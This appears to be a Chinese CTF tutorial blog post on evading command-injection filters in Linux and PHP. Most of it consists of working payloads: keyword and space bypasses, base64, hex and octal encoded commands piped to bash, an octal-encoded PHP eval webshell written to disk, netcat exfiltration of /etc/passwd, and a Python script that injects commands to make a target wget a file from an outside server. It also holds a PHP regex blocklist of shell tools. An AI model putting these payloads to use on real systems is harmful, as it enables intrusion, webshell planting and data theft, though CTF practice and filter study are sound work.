CTF中的Bypass命令执行
linux命令敏感字符绕过反斜杠:ca\t 1.txt连接符——单引号:ca''t 1.txt变量拼接字符:a=ca;b=t;$a$b 1.txtbase64编码绕过:`echo 'Y2F0Cg==' | base64 -d` 1.txt命令提示符$:ca$@t 1.txt//$@ 是传给脚本的所有参数的列表ca$9t 1.txt//$9 是传递给该shell脚本的第九个参数...
文章目录
一、一些基础知识:
;
用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。
[root@VM-16-13-centos ~]# echo 1 ; echo 2
1
2
|
这是管道符
| 表示管道,上一条命令的输出,作为下一条命令的参数
[root@VM-16-13-centos ~]# echo ni hao | base64
bmkgaGFvCg==
||
即逻辑或(短路或)
||左边为真时,则右边不执行
||左边为假时,才会继续执行右边
[root@VM-16-13-centos ~]# echo 1 || echo 2
1
&
& 放在启动参数后面表示设置此进程为后台进程
语法:command1 &
此外在CTF中,它又表示先执行右边再执行左边
语法:command1 & command2
ping 127.0.0.1 & ls(先执行ls后执行ping)
&&
逻辑与,和||恰恰相反。
先执行左边,只有左边为真,才会执行右边
语法:command1 && command2 [&& command3 ...]
{}与()
如果希望把几个命令合在一起执行,shell提供了两种方法。既可以在当前shell也可以在子shell中执行一组命令。
1、(command1;command2;command3....)
2、{ command1;command2;command3…}
#第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号3、{command,argument}
相同点:
()
和{}
都是把一串的命令放在括号里面,并且命令之间用;
号隔开
不同点
()
只是对一串命令重新开一个子shell进行执行,{}
对一串命令在当前shell执行
()
最后一个命令可以不用分号,{}
最后一个命令要用分号
()
里的第一个命令和左边括号不必有空格,{}
的第一个命令和左括号之间必须要有一个空格
()
和{}
中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令
[root@VM-16-13-centos html]# (cat /flag;date)
flag{}
Mon Aug 2 17:30:22 CST 2021
[root@VM-16-13-centos html]# { cat /flag;date;}
flag{}
Mon Aug 2 17:31:00 CST 2021
[root@VM-16-13-centos html]# {cat,/flag}
flag{}
输入/输出的重定向
command > file 将输出重定向到 file。
command < file 将输入重定向到 file。
command >> file 将输出以追加的方式重定向到 file。
n > file 将文件描述符为 n 的文件重定向到 file。
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m 将输出文件 m 和 n 合并。
n <& m 将输入文件 m 和 n 合并。
<< tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入。
正则表达式中的字符簇含义
[[:alpha:]] 任何字母
[[:digit:]] 任何数字
[[:alnum:]] 任何字母和数字
[[:space:]] 任何白字符
[[:upper:]] 任何大写字母
[[:lower:]] 任何小写字母
[[:punct:]] 任何标点符号
[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]
二、一些小trick
通配符*
与?
的绕过
cat /f* <=> cat /flag
cat /f??? <=> cat /flag
[]
与{}
的绕过
[root@VM-16-13-centos html]# cat /f[a-z]ag
flag{}
[root@VM-16-13-centos html]# cat /f{l,a,b}ag
flag{}
cat: /faag: No such file or directory
cat: /fbag: No such file or directory
绕过空格
1. < 与<> 重定向符 cat</flag cat<>/flag
2. ${IFS} cat${IFS}/flag
3. $IFS$9 为什么要加$9?因为单纯一个$IFS可能被认为是变量,$9起到截断作用 cat$IFS$9/flag
4. {cat,flag.php} //用逗号实现了空格功能,需要用 {} 括起来 {cat,flag.php}
三、 Linux关键字绕过
命令提示符$
:使用$*
、$@
、$x
(x代表1-9,$0
表示Shell本身的文件名故不可用)、${x}
(x>=10)
在没有传参的情况下,这些值都是空
ca$*t 1.txt //$* 是传给脚本的所有参数的列表
ca$@t 1.txt //$@ 是传给脚本的所有参数的列表
ca$9t 1.txt //$9 是传递给该shell脚本的第九个参数
ca${11}t 1.txt //${x} 两位数以上用${}括起来
反斜杠:
1. ca\t 1.txt
2. ca\t /f\lag
连接符——单引号:
1. ca''t 1.txt
2. ca''t /f''lag
特殊变量${9}
——表示一个空字符串:
ca${9}t /fla${9}g
使用变量拼接字符:
1. a=ca;b=t;$a$b 1.txt
2. a=$'/flag' && cat $a
3. a="lxs/";b=${a:0:1}${a:2:1}${IFS}${a:3:1};$b 还可以利用截取凑成: ls /
base64编码绕过:
`echo 'Y2F0Cg==' | base64 -d` 1.txt //即:cat 1.txt
base64+sh、bash执行:
echo 'Y2F0IDEudHh0' | base64 -d |bash(或者sh)
16进制 + bash执行
echo '636174202f666c6167'|xxd -r -p|bash 其中:xxd -r -p 将某种列格式的纯十六进制转储读入
也可以加上 0x 的前缀
16进制 + $()
执行
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 即:$(cat /flag)
8进制 + $()
执行
(printf "\143\141\164\40\57\146\154\141\147") 即:即:$(cat /flag)
8进制 + ${}
写shell
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
内容为<?php @eval($_POST['c']);?>`在这里插入代码片`
获取8、16进制的py脚本:
#python3
s= 'cat /flag'
f16 =''
f8 = ''
for i in s:
f16 += r"\x" + str(hex(ord(i))[2:])
f8 += '\\' + str(oct(ord(i))[2:])
print("[*]16进制:"+f16)
print("[*]8进制:"+f8)
利用一些已有资源:
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ echo $PATH| cut -c 1
/ #可以代替斜杠 /
$ cat `echo $PATH| cut -c 1`flag #cat /flag
利用一些已有字符
${PS2} 对应字符 >
${PS4} 对应字符 +
${IFS} 对应 内部字段分隔符
${9} 对应 空字符串
四、
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $a)) {
echo("forbid5 ~");
echo "<br>";
}
这段正则匹配是不到\
和\\
的。而以下这些可以匹配到:
<?php
$cmd="\\";
echo $cmd;
if (preg_match("/|\\\\|\?/i", $cmd)) {
echo("1");
}
if (preg_match("/\\\\/i", $cmd)) {
echo("2");
}
if (preg_match("/|\\|/i", $cmd)) {
echo("3");
}
if (preg_match("/|\|/i", $cmd)) {
echo("4");
}
还有,假设本来就能够回显,只是没有合适的读取函数:
1. php /flag
2. sh /flag 利用报错出flag
3. paste /flag /etc/passwd 可以两个一起读
4. diff /flag.txt /etc/passwd
5. od -a /flag
6. bzmore /flag
7. bzless /flag
8. curl file:///flag
9. sed -n "p" /flag
10.使用php文件操作函数读取目录与内容
$handler = opendir('/');
while(($name = readdir($handler))!== false){
echo $name."<br>";echo file_get_contents('/'.$name);
}
11. 使用nc将文件重定向(靶机如果是内网则不成功..)
靶机上:
nc -lvp port < /etc/passwd
本机直接nc ip port得到文件内容
五、命令执行:
一:利用sh、bash执行
?ip=127.1;echo 'Y2F0IDEudHh0' | base64 -d |bash(或者sh)
二:变量拼接:
?ip=127.1;a=g;cat /fla$a
三:利用$()
和``
内联执行
(内联,就是将``
或$()
内命令的输出作为输入执行)
在bash中,$( )与` `(反引号)都是用来作命令替换的。
?ip=127.1;cat `ls`
[root@VM-16-13-centos html]# echo `date`
Mon Aug 2 17:14:03 CST 2021
[root@VM-16-13-centos html]# echo $(date)
Mon Aug 2 17:16:07 CST 2021
Linux 搜索flag
Linux 搜索flag
find ./*|grep -i 'fla*' *
搜索当前目录下所有文件,不区分大小写地搜索出以字符fla开头的行
find /etc -name "*" | xargs grep "BJD{"
find . -name '*.php' | xargs grep -n 'eval('
grep -r -n "Neepu{" /etc
find ./ -name '*flag*'
搜索当前目录下的 包含flag字符的文件名
find /etc -name "*flag*"
cat $(find ./ -name '*flag*') # $()是变量的值
表示打印出所有符合条件的文件
六、长度限制:
`ls>1` 当前目录写入 1 文件
假设有 nep.php index.php两个文件
重新更新环境:
`>cat`
`*>1` 可以cat当前目录
或者
`* /*` 可以cat根目录
因为Linux中文件默认排序是数字->小写字母->大写字母
*>1
就是cat index.php nep.php>1
的意思,cat读取了两个文件
ls -t
,利用文件名达到命令执行:
两个\\
是因为要转义其中一个\
,否则一个\
就会被Linux命令行认为是换行续写 。且空格也是需要转义的
假如在命令行这么执行,相当于执行了cat flag
我们就是要变相实现这种效果
cat \
fl\
ag
以在命令行的操作为例:
┌──(root💀kali)-[~/test]
└─# echo 'flag{666}'>flag
┌──(root💀kali)-[~/test]
└─# ls
flag
┌──(root💀kali)-[~/test]
└─# >ag
┌──(root💀kali)-[~/test]
└─# >fl\\
┌──(root💀kali)-[~/test]
└─# >cat\ \\
┌──(root💀kali)-[~/test]
└─# ls -t>0
┌──(root💀kali)-[~/test]
└─# sh 0
0: 1: 0: not found
flag{666} //注意这里,成功输出了内容
0: 5: flag: not found
┌──(root💀kali)-[~/test]
└─# cat 0 127 ⨯
0
cat \
fl\
ag
flag
大哥的py脚本,利用wget下载自己服务器的文件到靶机上:
#coding:utf-8
import requests
url="http://119.29.60.11/1/index.php" #靶机地址
# generate `ls -t>g` file
param1=[
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
]
for y in param1:
print (y)
data3={'code':y}
a=requests.post(url,data=data3)
# generate `wget 119.29.60.11 -O 21.php`
# exec `sh _`
# exec `sh g`
name=[
'>hp ',
'>1.p\\',
'>2\\',
'>O\ \\',
#'>O\ 1\\',
'>\ -\\',
'>71\\',
'>60.\\',
'>29.\\',
'>19.\\',
#'>t\ 1\\',
'>1\\',
'>t\ \\',
'>wge\\',
'sh _',
'sh g',
]
for x in name:
print (x)
data={'code':x}
a=requests.post(url,data=data)
b=requests.get("http://119.29.60.11/1/21.php") #检查是否生成1.php
if b.status_code == 200:
print ("ok!")
else:
print ("bad!")
参考:
https://xz.aliyun.com/t/3918#toc-17
https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw
https://www.cnblogs.com/Tkitn/p/11661017.html
更多推荐
所有评论(0)